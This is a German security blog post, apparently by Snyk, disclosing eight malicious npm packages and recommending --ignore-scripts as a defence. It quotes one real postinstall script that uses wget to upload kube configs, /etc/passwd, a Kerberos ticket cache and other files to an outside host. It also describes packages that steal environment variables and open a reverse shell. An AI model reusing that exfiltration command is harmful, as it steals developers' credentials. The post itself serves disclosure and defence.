Snyk deckt bösartige Aktivitäten in der Open-Source-Lieferkettensicherheit im npm-Registry auf

Open Source hilft Entwicklern, schneller zu entwickeln. Aber wer stellt sicher, dass diese Open-Source-Abhängigkeiten (manchmal seit Jahren nicht mehr weiterentwickelt) sicher bleiben? Bei einer aktuellen npm-Sicherheitsrecherche entdeckte Snyk insgesamt 8 npm-Pakete, die einem bestimmten Angriffsvektor mit Schadcode entsprachen. Zu diesem Angriffsvektor gehörten Pakete mit Pre-/Post-Installationsskripten, durch die bei der Installation beliebige Befehle ausgeführt werden konnten.

Die schädlichen Pakete sind:

• radar-cms

• rcenodejs

• paychex-framework-forms

• paychex-framework-core-ui

• paychex-framework-approvals

• paychex-framework

• paychex-common-npm

• paychex-app-common-html

Nachdem Snyk die oben genannten Pakete identifiziert hatte, meldete das Unternehmen sie dem Sicherheitsteam von npm, damit sie als schädlich gekennzeichnet und aus dem npm-Registry entfernt werden, um Endnutzer nicht zu gefährden. Das npm-Ökosystem ist offen und ermöglicht es allen, Pakete einzureichen. Dazu gehören auch Pakete, deren Quellcode nicht in einem Repository veröffentlicht wird, oder solche, die Hintertüren oder anderen Schadcode enthalten. Bei mehr als 1,5 Millionen Paketen im npm-Ökosystem ist es nicht einfach, alle rechtzeitig zu überwachen und zu entdecken. Dadurch entsteht für Angreifer ein lukrativer Spielplatz.

Nachdem die Pakete nun gekennzeichnet wurden, sehen wir uns an, wie diese schädlichen npm-Pakete funktionierten und was sie erreichen sollten.

Was wir aus der Analyse schädlicher npm-Pakete lernen können

Beginnen wir mit radar-cms. Zunächst verwendete das Paket eine interessante Tarntechnik: Die Gesamtgröße des Tarballs betrug mehr als 1 MB. Damit sollte es vermutlich unter dem Radar einiger Systeme bleiben – auch unter dem des npm-eigenen Tabs Explore beim Durchsuchen von Paketen auf npmjs.com. Der folgende Screenshot zeigt, dass sich die vergrößerte Paketgröße des schädlichen Pakets radar-cms auf der npm-Paketeseite nicht zur Überprüfung anzeigen lässt:

Nach der Installation zielte die Schadsoftware von radar-cms gezielt darauf ab, Daten von den Hosts zu exfiltrieren. Hier sehen Sie das ursprüngliche postinstall-Skript des schädlichen Pakets, das wir in der Datei package.json gefunden haben:

"postinstall": "wget --post-file ~/.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/passwd https://entfet95itcxpuu.m.pipedream.net;wget --post-file /tmp/krb5cc_0 https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/hosts https://entfet95itcxpuu.m.pipedream.net"

Wie hätten Sie diesen Angriff verhindern können? (Wenn Sie meinen Blog zu npm-Sicherheits-Best-Practices bereits gelesen haben, kennen Sie die Antwort vermutlich.)

Eine Best Practice für die sichere Installation von Paketen ist, zu verhindern, dass npm-Pakete bei der Installation beliebige Befehle ausführen. Wenn Sie also das nächste Mal ein npm-Paket installieren, können Sie mit dem folgenden Befehlszeilenargument verhindern, dass Pakete beliebige Befehle ausführen:

npm install --ignore-scripts

Wenn Sie yarn verwenden:

yarn install --ignore-scripts

Als Nächstes gab es eine Gruppe von npm-Paketen mit dem Namen paychex-*. Diese Pakete waren darauf ausgelegt, bei der Installation Daten aus Umgebungsvariablen zu stehlen – diesmal über einen preinstall-Skript-Hook – und an einen Remote-Server zu senden. In der Snyk-Datenbank sind sie alle als schädliche Pakete gekennzeichnet:

Schließlich enthielt das schädliche Paket rcenodejs ein ähnliches preinstall-Skript, das eine Reverse Shell erstellte, über die sich Angreifer remote verbinden konnten.

In all diesen Fällen können Sie verhindern, dass während der Paketinstallation beliebiger Code ausgeführt wird, indem Sie einfach Folgendes verwenden:

npm install --ignore-scripts

Was kann ich für die Sicherheit der Software-Lieferkette bei npm tun?

Am wichtigsten ist zunächst, ein schädliches npm-Paket zu erkennen. Auf den npmjs-Paketeseiten ist das möglicherweise nicht ersichtlich, und sobald Sie das Paket installiert haben, ist es bereits zu spät.

Dabei kann Ihnen Snyk Advisor helfen: Das Tool zeigt klar an, ob ein Paket als schädlich erkannt wurde und nicht installiert werden sollte. Hier sehen Sie beispielsweise die Advisor-Seite für das npm-Paket rcenodejs, auf der eine schädliche Sicherheitslücke vom Typ CWE-506 angezeigt wird.

Je mehr Software entwickelt wird, desto größer werden die Sicherheitsrisiken, denen wir uns aussetzen. Damit Sie sich besser mit Best Practices und Tools ausstatten können, die das Risiko solcher Sicherheitsvorfälle reduzieren oder vollständig eindämmen, empfehle ich Folgendes:

1. Beachten Sie diese 10 npm-Sicherheits-Best-Practices, um bei der Arbeit mit Open-Source-Software sichere Konventionen einzuhalten. Dazu gehören die Aktivierung der Zwei-Faktor-Authentifizierung bei npmjs, die Deaktivierung der Ausführung beliebiger Befehle durch unbekannte Open-Source-Software von Drittanbietern und mehr.

2. Wenn Sie Node.js-Docker-Container erstellen, befolgen Sie die Schritte im Blog zu Best Practices für die Sicherheit beim Erstellen produktionsreifer Node.js-basierter Container.